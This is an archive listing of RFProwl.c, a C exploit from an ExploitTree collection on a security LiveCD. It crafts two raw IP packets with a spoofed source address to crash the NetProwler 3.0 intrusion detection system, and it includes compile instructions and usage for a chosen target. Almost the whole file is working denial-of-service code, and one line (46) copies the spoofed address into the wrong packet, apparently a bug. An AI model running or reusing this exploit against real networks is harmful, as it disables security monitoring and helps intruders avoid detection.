home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ids / RFProwl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  62 lines

  1. /*     RFProwl.c - rain forest puppy / wiretrip / rfp@wiretrip.net
  2.     
  3.     Kills NetProwler IDS version 3.0
  4.     
  5.     You need libnet installed.  It's available from
  6.     www.packetfactory.net.  Acks to route.
  7.  
  8.     Only tested on RH 6.x Linux.  To compile:
  9.     gcc RFProwl.c -lnet -o RFProwl            
  10.  
  11.     Plus, make sure your architecture is defined below:   */
  12.  
  13. #define LIBNET_LIL_ENDIAN 1
  14. #undef  LIBNET_BIG_ENDIAN 1
  15.  
  16. #include <libnet.h>
  17.  
  18. /* it's just much easier to code in the packet frags we want. :) */
  19.  
  20. char pack1[]="\x45\x00"
  21. "\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"
  22. "\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"
  23. "\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
  24.  
  25. char pack2[]="\x45\x00"
  26. "\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"
  27. "\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"
  28. "\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";
  29.  
  30. int main(int argc, char **argv) {
  31.     int sock, c;
  32.     u_long src_ip, dst_ip;
  33.  
  34.     printf("RFProwl - rain forest puppy / wiretrip\n");
  35.  
  36.     if(argc<3){
  37.       printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");
  38.       exit(EXIT_FAILURE);}
  39.  
  40.     dst_ip=inet_addr(argv[1]);
  41.     src_ip=inet_addr(argv[2]);
  42.  
  43.     memcpy(pack1+16,&dst_ip,4);
  44.     memcpy(pack2+16,&dst_ip,4);
  45.     memcpy(pack1+12,&src_ip,4);
  46.     memcpy(pack1+12,&src_ip,4);
  47.  
  48.     sock = open_raw_sock(IPPROTO_RAW);
  49.     if (sock == -1){
  50.       perror("Socket problems: ");
  51.       exit(EXIT_FAILURE);}
  52.     
  53.     c = write_ip(sock, pack1, 46);
  54.     if (c < 46) printf("Write_ip #1 choked\n");
  55.  
  56.     c = write_ip(sock, pack2, 46);
  57.     if (c < 46) printf("Write_ip #2 choked\n");
  58.   
  59.     printf("Packets sent\n");
  60.  
  61.     return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);}
  62.